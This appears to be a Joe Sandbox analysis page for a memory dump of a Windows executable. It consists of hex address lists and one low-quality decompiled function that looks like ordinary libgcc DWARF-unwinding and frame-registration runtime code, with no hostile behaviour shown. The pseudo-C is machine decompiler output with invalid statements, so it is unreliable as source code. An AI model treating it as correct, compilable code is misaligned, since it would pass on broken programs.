0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00421e87

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1ec1008867809c0f0f4483586611a1879f94b42a944a33810d46d192a653935
Instruction ID: 8528817b5c181da246a2c15969ab583f24671bd3c7bca29dbebc5a30b3ce3328
Opcode Fuzzy Hash: a1ec1008867809c0f0f4483586611a1879f94b42a944a33810d46d192a653935
Instruction Fuzzy Hash: 6501BD71B082710BE7242A29D85137B66D14FB238CFCA157FED6287353C56E9C0AD21D

Uniqueness

Uniqueness Score: -1.00%

Function 00421C89 Relevance: 21.1, APIs: 14, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421C89(void* __eax, CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				_t195 = __ebx;
				while(1) {
					L40:
					__ebp = 0;
					__ecx = 0;
					__esi = __eax;
					do {
						__ebx = __ebx + 1;
						__eax =  *(__ebx - 1) & 0x000000ff;
						__eax = __eax & 0x0000007f;
						__ecx = __ecx + 7;
						__ebp = __ebp | (__eax & 0x0000007f) << __cl;
					} while (__al < 0);
					__edi = __eax;
					__eax = __esi;
					__esi = __edi;
					if(__ecx <= 0x1f) {
						__esi = __esi & 0x00000040;
						if(__esi != 0) {
							1 = 1 << __cl;
							__ebp = __ebp |  ~(1 << __cl);
						}
					}
					__eax = __eax - 0x70;
					if(__eax > 0x11) {
						L130:
						abort();
						L0042F4C0();
						abort();
						abort();
						abort();
						L0042F4C0();
						L0042F4C0();
						abort();
						abort();
						abort();
						abort();
						abort();
						abort();
						abort();
						_t208 = _t207 - 0x1c;
						 *_t208 = "libgcc_s_dw2-1.dll";
						_t189 = GetModuleHandleA(_t195);
						_t209 = _t208 - 4;
						if(_t189 == 0) {
							 *0x4b6004 = 0x424590;
							_t202 = E00424340;
						} else {
							_t197 = _t189;
							 *_t209 = "libgcc_s_dw2-1.dll";
							_t192 = LoadLibraryA(??);
							_t211 = _t209 - 4;
							 *0x607df0 = _t192;
							_v40 = "__register_frame_info";
							 *_t211 = _t197;
							_t193 = GetProcAddress(??, ??);
							_t212 = _t211 - 8;
							_t202 = _t193;
							_v40 = "__deregister_frame_info";
							 *_t212 = _t197;
							 *0x4b6004 = GetProcAddress(??, ??);
							_t209 = _t212 - 8;
						}
						if(_t202 != 0) {
							_v40 = 0x60701c;
							 *_t209 = 0x5ca0f8;
							 *_t202();
						}
						 *_t209 = 0x401590;
						return E004014C0();
					} else {
						__esi = _a28;
						__edi =  *(__esi + __eax * 4);
						if(( *(__esi + 0x63) & 0x00000040) == 0) {
							L47:
							if(__dl != 4) {
								goto L130;
							} else {
								__edi =  *__edi;
								goto L49;
							}
						} else {
							if( *((char*)(__esi + __eax + 0x6c)) != 0) {
								L49:
								__edi = __edi + __ebp;
								__esi = __ebx;
								__ebp = _a20;
								while(1) {
									L10:
									if(__ebp > 0x3f) {
										goto L130;
									}
									__eax =  &_a1;
									 *(__esp + 0x30 + __ebp * 4) = __edi;
									_a20 =  &_a1;
									while(1) {
										L12:
										if(_a24 <= __esi) {
											break;
										}
										__eax =  *__esi & 0x000000ff;
										__ebx = __esi + 1;
										__ecx = __eax - 3;
										if(__cl > 0xee) {
											L97:
											abort();
											goto L98;
										} else {
											__ecx = __cl & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
												case 0:
													__ebp = _a20;
													__edi =  *(__esi + 1);
													__esi = __esi + 5;
													__eflags = __esi;
													goto L10;
												case 1:
													goto L97;
												case 2:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L130;
													} else {
														__ebp = __eax;
														__ebp =  &_v1;
														__edi =  *(__esp + 0x30 + __ebp * 4);
														__eflags = __dl - 0x1f;
														if(__eflags == 0) {
															__edi =  ~__edi;
															__esi = __ebx;
														} else {
															if(__eflags <= 0) {
																L98:
																__eflags = __dl - 6;
																if(__dl != 6) {
																	__eflags = __dl - 0x19;
																	if(__dl != 0x19) {
																		goto L97;
																	} else {
																		__eax = __edi;
																		__esi = __ebx;
																		__eax = __edi >> 0x1f;
																		__edi = __edi ^ __eax;
																		__edi = __edi - __eax;
																	}
																} else {
																	__edi =  *__edi;
																	__esi = __ebx;
																}
															} else {
																__eflags = __dl - 0x23;
																if(__dl == 0x23) {
																	__esi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		__ebx = __ebx + 1;
																		__edx =  *(__ebx - 1) & 0x000000ff;
																		 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																		__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__edi = __edi + __esi;
																	__esi = __ebx;
																} else {
																	__eflags = __dl - 0x94;
																	if(__dl != 0x94) {
																		__eflags = __dl - 0x20;
																		if(__dl == 0x20) {
																			__edi =  !__edi;
																			__esi = __ebx;
																		} else {
																			goto L97;
																		}
																	} else {
																		__eax =  *(__esi + 1) & 0x000000ff;
																		__edx = __esi + 2;
																		__eflags = __al - 2;
																		if(__eflags == 0) {
																			__edi =  *__edi & 0x0000ffff;
																			__esi = __edx;
																		} else {
																			if(__eflags <= 0) {
																				__eflags = __al - 1;
																				if(__al != 1) {
																					goto L97;
																				} else {
																					__edi =  *__edi & 0x000000ff;
																					__esi = __edx;
																				}
																			} else {
																				__eflags = __al - 4;
																				if(__al == 4) {
																					L31:
																					__edi =  *__edi;
																					__esi = __edx;
																				} else {
																					__eflags = __al - 8;
																					if(__al != 8) {
																						goto L97;
																					} else {
																						goto L31;
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
														goto L10;
													}
													goto L143;
												case 3:
													__edi =  *(__esi + 1) & 0x000000ff;
													__ebp = _a20;
													__esi = __esi + 2;
													goto L10;
												case 4:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 2;
													goto L10;
												case 5:
													__edi =  *(__esi + 1) & 0x0000ffff;
													__ebp = _a20;
													__esi = __esi + 3;
													goto L10;
												case 6:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 3;
													goto L10;
												case 7:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 9;
													goto L10;
												case 8:
													__esi = __ebx;
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														__esi = __esi + 1;
														__edx =  *(__esi - 1) & 0x000000ff;
														 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
														__eax = ( *(__esi - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__ebp = _a20;
													goto L10;
												case 9:
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | (__edx & 0x0000007f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__eflags = __ecx - 0x1f;
													if(__ecx > 0x1f) {
														goto L95;
													} else {
														__edx = __edx & 0x00000040;
														__eflags = __edx;
														if(__edx == 0) {
															goto L95;
														} else {
															__eax = 1;
															__ebp = _a20;
															__esi = __ebx;
															1 << __cl =  ~(1 << __cl);
															__edi = __edi |  ~(1 << __cl);
														}
													}
													goto L10;
												case 0xa:
													__ebp = _a20;
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L130;
													} else {
														__edi =  *(__esp + 0x2c + __ebp * 4);
														__esi = __ebx;
														goto L10;
													}
													goto L143;
												case 0xb:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L130;
													} else {
														__eax = __eax - 1;
														__esi = __ebx;
														_a20 = __eax;
														goto L12;
													}
													goto L143;
												case 0xc:
													__ebp = _a20;
													__eflags = __ebp - 1;
													if(__ebp <= 1) {
														goto L130;
													} else {
														__edi =  *(__esp + 0x28 + __ebp * 4);
														__esi = __ebx;
														goto L10;
													}
													goto L143;
												case 0xd:
													__ebp = _a20;
													__ecx =  *(__esi + 1) & 0x000000ff;
													__edx = __esi + 2;
													__eax =  &_v1;
													__eflags = __ecx - __eax;
													if(__ecx >= __eax) {
														goto L130;
													} else {
														__eax = __eax - __ecx;
														__esi = __edx;
														__edi =  *(__esp + 0x30 + __eax * 4);
														goto L10;
													}
													goto L143;
												case 0xe:
													__eax = _a20;
													__eflags = __eax - 1;
													if(__eax <= 1) {
														goto L130;
													} else {
														__edx = __eax - 1;
														__eax = __eax - 2;
														__esi =  *(__esp + 0x30 + __eax * 4);
														__ecx =  *(__esp + 0x30 + __edx * 4);
														 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
														__esi = __ebx;
														 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
														goto L12;
													}
													goto L143;
												case 0xf:
													__eax = _a20;
													__eflags = __eax - 2;
													if(__eax <= 2) {
														goto L130;
													} else {
														__ecx = __eax - 1;
														__edx = __eax - 2;
														__eax = __eax - 3;
														__esi =  *(__esp + 0x30 + __ecx * 4);
														__ebp =  *(__esp + 0x30 + __edx * 4);
														__edi =  *(__esp + 0x30 + __eax * 4);
														 *(__esp + 0x30 + __ecx * 4) = __ebp;
														 *(__esp + 0x30 + __edx * 4) = __edi;
														 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
														__esi = __ebx;
														goto L12;
													}
													goto L143;
												case 0x10:
													__eax = _a20;
													__eflags = __eax - 1;
													if(__eax <= 1) {
														goto L130;
													} else {
														__ebp = __eax - 2;
														__edx = __edx - 0x1a;
														__ecx =  *(__esp + 0x2c + __eax * 4);
														__edi =  *(__esp + 0x30 + __ebp * 4);
														__eflags = __dl - 0x14;
														if(__dl > 0x14) {
															goto L97;
														} else {
															__edx = __dl & 0x000000ff;
															switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
																case 0:
																	goto L112;
																case 1:
																	goto L113;
																case 2:
																	goto L114;
																case 3:
																	goto L115;
																case 4:
																	goto L116;
																case 5:
																	goto L97;
																case 6:
																	goto L117;
																case 7:
																	goto L118;
																case 8:
																	goto L119;
																case 9:
																	goto L120;
																case 0xa:
																	goto L121;
																case 0xb:
																	goto L122;
																case 0xc:
																	goto L123;
																case 0xd:
																	goto L124;
																case 0xe:
																	goto L125;
																case 0xf:
																	goto L126;
																case 0x10:
																	goto L127;
																case 0x11:
																	goto L128;
															}
														}
														goto L10;
													}
													goto L143;
												case 0x11:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L130;
													} else {
														__eax = __eax - 1;
														__edi = __eax;
														_a20 = __eax;
														__eax = __esi + 3;
														__edx =  *(__esp + 0x30 + __edi * 4);
														__eflags =  *(__esp + 0x30 + __edi * 4);
														if( *(__esp + 0x30 + __edi * 4) == 0) {
															__esi = __eax;
														} else {
															__esi =  *(__esi + 1);
															__esi = __esi + __eax;
														}
														goto L12;
													}
													goto L143;
												case 0x12:
													__eax =  *(__esi + 1);
													__esi = __esi +  *(__esi + 1) + 3;
													goto L12;
												case 0x13:
													__edi = __eax - 0x30;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												case 0x14:
													__eax = __eax - 0x50;
													__eflags = __eax - 0x11;
													if(__eax > 0x11) {
														goto L130;
													} else {
														__esi = _a28;
														__edx =  *(__eax + 0x6073f4) & 0x000000ff;
														__edi =  *(__esi + __eax * 4);
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) == 0) {
															L53:
															__eflags = __dl - 4;
															if(__dl == 4) {
																goto L39;
															} else {
																goto L130;
															}
														} else {
															__eflags =  *((char*)(__esi + __eax + 0x6c));
															if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																goto L95;
															} else {
																goto L53;
															}
														}
													}
													goto L143;
												case 0x15:
													goto L40;
												case 0x16:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__eflags = __esi - 0x11;
													if(__esi > 0x11) {
														goto L130;
													} else {
														__ecx = _a28;
														__eax =  *(__esi + 0x6073f4) & 0x000000ff;
														__edi =  *(__ecx + __esi * 4);
														__eflags =  *(__ecx + 0x63) & 0x00000040;
														if(( *(__ecx + 0x63) & 0x00000040) == 0) {
															L38:
															__eflags = __al - 4;
															if(__al != 4) {
																goto L130;
															} else {
																L39:
																__edi =  *__edi;
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															}
														} else {
															__eflags =  *((char*)(__ecx + __esi + 0x6c));
															if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																L95:
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															} else {
																goto L38;
															}
														}
													}
													goto L143;
												case 0x17:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														__ebx = __ebx + 1;
														__eax =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__edx = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __al;
													} while (__al < 0);
													__eflags = __ecx - 0x1f;
													if(__ecx <= 0x1f) {
														__eflags = __al & 0x00000040;
														if((__al & 0x00000040) != 0) {
															1 = 1 << __cl;
															__eax =  ~(1 << __cl);
															__edi = __edi |  ~(1 << __cl);
														}
													}
													__eflags = __esi - 0x11;
													if(__esi > 0x11) {
														goto L130;
													} else {
														__ecx = _a28;
														__edx =  *(__esi + 0x6073f4) & 0x000000ff;
														__eax =  *(__ecx + __esi * 4);
														__eflags =  *(__ecx + 0x63) & 0x00000040;
														if(( *(__ecx + 0x63) & 0x00000040) == 0) {
															L80:
															__eflags = __dl - 4;
															if(__dl != 4) {
																goto L130;
															} else {
																__eax =  *__eax;
																goto L82;
															}
														} else {
															__eflags =  *((char*)(__ecx + __esi + 0x6c));
															if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																L82:
																__edi = __edi + __eax;
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															} else {
																goto L80;
															}
														}
													}
													goto L143;
												case 0x18:
													__esi = __ebx;
													goto L12;
												case 0x19:
													__ebx =  *(__esi + 1) & 0x000000ff;
													__edx = _a28;
													__edi =  &_a44;
													__eax = __ebx;
													__eax = L00420C00(__ebx, __ecx, _a28);
													 *__esp =  &_a44;
													__ecx = __esi + 2;
													__edx = __eax;
													__eax = __ebx;
													__eax = E00420AC0(__ebx, __esi + 2, __edx);
													__edi = _a44;
													__ebp = _a20;
													__esi = __eax;
													goto L10;
												case 0x1a:
													L112:
													__edi = __edi & __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1b:
													L113:
													__eax = __edi;
													__esi = __ebx;
													asm("cdq");
													_t169 = __eax % __ecx;
													__eax = __eax / __ecx;
													__edx = _t169;
													__edi = __eax;
													goto L10;
												case 0x1c:
													L114:
													__edi = __edi - __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1d:
													L115:
													__eax = __edi;
													__edx = 0;
													__esi = __ebx;
													_t173 = __eax % __ecx;
													__eax = __eax / __ecx;
													__edx = _t173;
													__edi = _t173;
													goto L10;
												case 0x1e:
													L116:
													__edi = __edi * __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1f:
													L117:
													__edi = __edi | __ecx;
													__esi = __ebx;
													goto L10;
												case 0x20:
													L118:
													__edi = __edi + __ecx;
													__esi = __ebx;
													goto L10;
												case 0x21:
													L119:
													__edi = __edi << __cl;
													__esi = __ebx;
													goto L10;
												case 0x22:
													L120:
													__edi = __edi >> __cl;
													__esi = __ebx;
													goto L10;
												case 0x23:
													L121:
													__edi = __edi >> __cl;
													__esi = __ebx;
													goto L10;
												case 0x24:
													L122:
													__edi = __edi ^ __ecx;
													__esi = __ebx;
													goto L10;
												case 0x25:
													L123:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags == 0x00000000;
													__edi = __eflags == 0;
													goto L10;
												case 0x26:
													L124:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags >= 0x00000000;
													__edi = __eflags >= 0;
													goto L10;
												case 0x27:
													L125:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags > 0x00000000;
													__edi = __eflags > 0;
													goto L10;
												case 0x28:
													L126:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags <= 0x00000000;
													__edi = __eflags <= 0;
													goto L10;
												case 0x29:
													L127:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags < 0x00000000;
													__edi = __eflags < 0;
													goto L10;
												case 0x2a:
													L128:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags != 0x00000000;
													__edi = __eflags != 0;
													goto L10;
											}
										}
										goto L143;
									}
									__eax = _a20;
									if(__eax == 0) {
										goto L130;
									} else {
										__eax =  *(__esp + 0x2c + __eax * 4);
										__esp = __esp + 0x13c;
										_pop(__ebx);
										_pop(__esi);
										_pop(__edi);
										_pop(__ebp);
										return __eax;
									}
									goto L143;
								}
								goto L130;
							} else {
								goto L47;
							}
						}
					}
					L143:
				}
			}

0x00421c89
0x00421c90
0x00421c90
0x00421c90
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cc0
0x00421cc2
0x00421cc5
0x00422029
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cd1
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00421cd7
0x00421cd7
0x00421ce2
0x00421ce9
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af3
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb3
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
